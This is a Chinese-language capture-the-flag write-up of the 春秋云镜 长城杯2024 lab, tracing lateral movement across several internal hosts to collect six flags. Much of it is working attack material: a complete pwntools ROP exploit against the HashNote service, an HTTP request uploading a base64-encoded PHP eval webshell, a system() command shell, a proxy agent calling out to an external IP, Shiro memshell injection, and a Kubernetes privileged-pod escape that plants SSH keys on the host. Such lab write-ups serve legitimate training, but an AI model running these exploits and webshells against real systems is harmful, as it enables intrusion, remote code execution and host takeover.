文章

春秋云镜-长城杯2024

春秋云镜-长城杯2024

flag1

先fscan扫一下端口,扫出来8080端口有个后台服务

访问8080端口发现一个登录界面

1778604039336

发现这玩意根本不会发起登录请求,就是个前端壳子

dirsearch扫一下,看到有个404

访问404的路由即可拿到框架信息

/index.php/login/

1778604109074

上工具扫,getshell

1775788725354

连接蚁剑,找到flag1

flag3(172.28.23.33)

信息收集

1
ip addr show

1778604224820

传个fscan扫一下内网

1778604438416

扫到另外两台机子

1
2
3
[2025-05-16 12:56:20] [SUCCESS] 目标 172.28.23.33    存活 (ICMP)
[2025-05-16 12:56:20] [SUCCESS] 目标 172.28.23.17    存活 (ICMP) //入口机
[2025-05-16 12:56:20] [SUCCESS] 目标 172.28.23.26    存活 (ICMP)

建立代理后访问内网

很容易发现33是Shiro框架

扫下目录

1
python dirsearch.py -u http://172.28.23.33:8080/ --proxy socks5://127.0.0.1:6666

1778604538107

显然是Shiro框架+heapdump泄露

下载heapdump

1
http://172.28.23.33:8080/actuator/heapdump

使用JDumpSpider分析heapdump,拿到ShiroKey

1
"C:\Program Files\Java\jdk1.8.0_65\bin\java.exe" -jar JDumpSpider-1.1-SNAPSHOT-full.jar "D:\闲2\heapdump"

1775789719302

使用Shiro反序列化工具,注入内存马后连接shell蚁剑

1775789951137

1775789962488

1775790281639

没找到flag,用户是ops01,应该是要提权

在/home/ops01/中有HashNote文件,开放了59696端口

1775790360032

1775790331295

需要pwn的知识,这里直接贴脚本exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
context.arch='amd64'

def add(key,data='b'):
    p.sendlineafter(b'Option:',b'1')
    p.sendlineafter(b'Key:',key)
    p.sendlineafter(b'Data:',data)

def show(key):
    p.sendlineafter(b'Option:',b'2')
    p.sendlineafter(b"Key: ",key);

def edit(key,data):
    p.sendlineafter(b'Option:',b'3')
    p.sendlineafter(b'Key:',key)
    p.sendlineafter(b'Data:',data)

def name(username):
    p.sendlineafter(b'Option:',b'4')
    p.sendlineafter(b'name:',username)


p = remote('172.28.23.33', 59696)
# p = process('./HashNote')


username=0x5dc980
stack=0x5e4fa8
ukey=b'\x30'*5+b'\x31'+b'\x44'

fake_chunk=flat({
    0:username+0x10,
    0x10:[username+0x20,len(ukey),\
        ukey,0],
    0x30:[stack,0x10]
    },filler=b'\x00')

p.sendlineafter(b'name',fake_chunk)
p.sendlineafter(b'word','freep@ssw0rd:3')

add(b'\x30'*1+b'\x31'+b'\x44',b'test')   # 126
add(b'\x30'*2+b'\x31'+b'\x44',b'test')   # 127


show(ukey)
main_ret=u64(p.read(8))-0x1e0




rdi=0x0000000000405e7c # pop rdi ; ret
rsi=0x000000000040974f # pop rsi ; ret
rdx=0x000000000053514b # pop rdx ; pop rbx ; ret
rax=0x00000000004206ba # pop rax ; ret
syscall=0x00000000004560c6 # syscall

fake_chunk=flat({
    0:username+0x20,
    0x20:[username+0x30,len(ukey),\
        ukey,0],
    0x40:[main_ret,0x100,b'/bin/sh\x00']
    },filler=b'\x00')

name(fake_chunk.ljust(0x80,b'\x00'))


payload=flat([
    rdi,username+0x50,
    rsi,0,
    rdx,0,0,
    rax,0x3b,
    syscall
    ])

p.sendlineafter(b'Option:',b'3')
p.sendlineafter(b'Key:',ukey)
p.sendline(payload)
p.sendlineafter(b'Option:',b'9')
p.interactive()

/root/flag_RaYz1/f1ag03.txt拿到flag3

运行脚本:

1775790893718

/root/flag_RaYz1/f1ag03.txt拿到flag3

扫描ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:16:3e:03:cb:48 brd ff:ff:ff:ff:ff:ff
    inet 172.28.23.33/16 brd 172.28.255.255 scope global dynamic eth0
       valid_lft 315357178sec preferred_lft 315357178sec
    inet6 fe80::216:3eff:fe03:cb48/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:16:3e:03:97:b8 brd ff:ff:ff:ff:ff:ff
    inet 172.22.10.16/24 brd 172.22.10.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::216:3eff:fe03:97b8/64 scope link 
       valid_lft forever preferred_lft forever

有两张网卡

fscan扫描

1778607282420

172.22.10.1/24 网段存活如下

1
172.22.10.28

flag2(172.28.23.26)

在之前的扫描结果中看到开放了21端口,匿名用户可以登录

1
proxychains4 ftp 172.28.23.26

1775791455813

下载oa源码

开始审计代码

main.php开始,开头引入了db.phpchecklogin.php

抽象的鉴权

checklogin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function islogin(){
   if(isset($_COOKIE['id'])&&isset($_COOKIE['loginname'])&&isset($_COOKIE['jueseid'])&&isset($_COOKIE['danweiid'])&&isset($_COOKIE['quanxian'])){
	   if($_COOKIE['id']!=''&&$_COOKIE['loginname']!=''&&$_COOKIE['jueseid']!=''&&$_COOKIE['danweiid']!=''&&$_COOKIE['quanxian']!=''){
	       return true;
	   }
	    else {
	      return false;
	   }
    }
    else {
	    return false;
     }
}
?>

在源码根目录下还有一个uploadbase64.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
/**
 * Description: PhpStorm.
 * Author: yoby
 * DateTime: 2018/12/4 18:01
 * Email:logove@qq.com
 * Copyright Yoby版权所有
 */
$img = $_POST['imgbase64'];
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $img, $result)) {
    $type = ".".$result[2];
    $path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;
}
$img =  base64_decode(str_replace($result[1], '', $img));
@file_put_contents($path, $img);
exit('{"src":"'.$path.'"}');

对于上传的校验不完整,只要符合格式是data:image/xxx;base64,xxx这种就行了

上传exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /uploadbase64.php HTTP/1.1
Host: 172.28.23.26
Content-Length: 72
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.28.23.26
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.28.23.26/uploadbase64.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Connection: close

imgbase64=data%3aimage/php%3bbase64,PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4K

连接蚁剑

1
2
http://172.28.23.26/upload/2024-06-03-665d2423479ad.php
cmd

连上shell后发现有很多disable_functions

方法1:LD_PRELOAD

1775793646683

执行成功后,将生成两个文件

将这里的url参数改一下,

1775794477137

编写shell.php

1
<?php system($_GET['cmd']);?>

查询根目录:

1775794438768

需要提权:

查找 suid 提权文件

1
cmd=find / -perm -u=s -type f 2>/dev/null

通过 base32 读取 flag02:

1775794848006

得到flag2

方法2:PHP7 Backtrace UAF(更简单,方便)

PHP7 Backtrace UAF 可以直接返回一个 shell

内网二层代理:

查看flag2的机子网络信息,当前主机为双网卡:

fscan 对 172.22.14.0/24 网段信息收集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
172.22.14.37:22 open
172.22.14.46:80 open
172.22.14.46:22 open
172.22.14.6:80 open
172.22.14.6:22 open
172.22.14.6:21 open
172.22.14.37:10250 open
172.22.14.37:2379 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle http://172.22.14.6        code:200 len:13693  title:新翔OA管理系统-OA管理平台联系电话:13849422648微信同号,QQ958756413
[*] WebTitle http://172.22.14.46       code:200 len:785    title:Harbor
[+] InfoScan http://172.22.14.46       [Harbor] 
[*] WebTitle https://172.22.14.37:10250 code:404 len:19     title:None
[+] ftp 172.22.14.6:21:anonymous 
   [->]OASystem.zip
[+] PocScan http://172.22.14.46/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]

搭二层代理:

1
 ./linux_x64_admin -l 23333 -s 23333
1
./linux_x64_agent -c 8.148.230.29:23333 -s 23333 --reconnect 8

1775795562160

flag5(172.22.14.46)

登录网站

尝试打harbor未授权

1775796498051

1775796827409

看到有个叫做harbor/secret的镜像,我们把它dump下来

1
python harbor.py http://172.22.14.46/ --dump harbor/secret --v2

得到flag5

flag6(172.22.10.28)

在之前的Harbor的project/projectadmin镜像中有可以找到服务的jar包

反编译后在application.properties中可以找到关于mysql的配置文件

可以看到数据库地址就是这台机子

MDUT一把梭拿到flag

1778608547253

1775797375882

1775797483625

flag4(172.22.14.37)

通过fscan的端口扫描,我们可以发现10250端口,这个端口有个k8s kubelet 10250端口未授权,但是不符合利用条件;

然后6443端口存在K8s API server未授权

浅析K8S各种未授权攻击方法 - 火线 Zone-安全攻防社区

这里要注意:kubectl 是go binary,而go binary 自己实现了底层,所以proxychains对他不起作用。这里我的做法是下了个windows的可执行文件,然后proxifier全局代理。具体的打法就是写一个evil-deployment.yaml,然后远程创建一个特权容器,再把宿主机/目录挂载到容器内部/mnt目录,接着写公钥就成功逃逸

先创建一个恶意的yaml文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
vim evil-deployment.yaml    

#evil-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
  labels:
    app: nginx
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:1.8
        volumeMounts:
        - mountPath: /mnt
          name: test-volume
      volumes:
      - name: test-volume
        hostPath:
          path: /

创建pod

1
.\kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f evil-deployment.yaml

列出pod

1
.\kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods -n default

进容器执行命令:能看到容器名为 nginx-deployment-864f8bfd6f-b9xhg,可以像docker那样进入容器

进入容器

1
.\kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment-864f8bfd6f-b9xhg /bin/bash

因为前面yaml文件指定了宿主机挂载目录为/mnt,因此可以直接写ssh公钥到/mnt/root/.ssh/authorized_keys

生成公钥:

1775798506592

写进去即可

1
2
3
echo "...公钥..." > /mnt/root/.ssh/authorized_keys

chmod 600 /mnt/root/.ssh/authorized_keys 

kali连ssh

1
 proxychains4 ssh -i /root/.ssh/id_rsa root@172.22.14.37

当前目录可以看到一个.mysql_history

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 root@ubuntu-k8s:~# cat .mysql_history
_HiStOrY_V2_
show\040databases;
create\040database\040flaghaha;
use\040flaghaha
DROP\040TABLE\040IF\040EXISTS\040`f1ag`;
CREATE\040TABLE\040`flag06`\040(
`id`\040int\040DEFAULT\040NULL,
\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL
)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
CREATE\040TABLE\040`flag06`\040(\040`id`\040int\040DEFAULT\040NULL,\040\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL\040)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
show\040tables;
drop\040table\040flag06;
DROP\040TABLE\040IF\040EXISTS\040`f1ag`;
CREATE\040TABLE\040`flag04`\040(
`id`\040int\040DEFAULT\040NULL,
\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL
)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
CREATE\040TABLE\040`flag04`\040(\040`id`\040int\040DEFAULT\040NULL,\040\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL\040)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
INSERT\040INTO\040`flag`\040VALUES\040(1,\040'ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg==');
INSERT\040INTO\040`flag04`\040VALUES\040(1,\040'ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg==');
exit
show\040tables
;
database();
select\040datebase();
show\040databases;
quit

看到flag04,base64解码后拿到flag

参考文章: https://blog.xrntkk.top/post/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83-%E9%95%BF%E5%9F%8E%E6%9D%AF2024-writeup/ https://sangnigege.github.io/2026/test55/ https://xz.aliyun.com/news/14423

本文由作者按照 CC BY 4.0 进行授权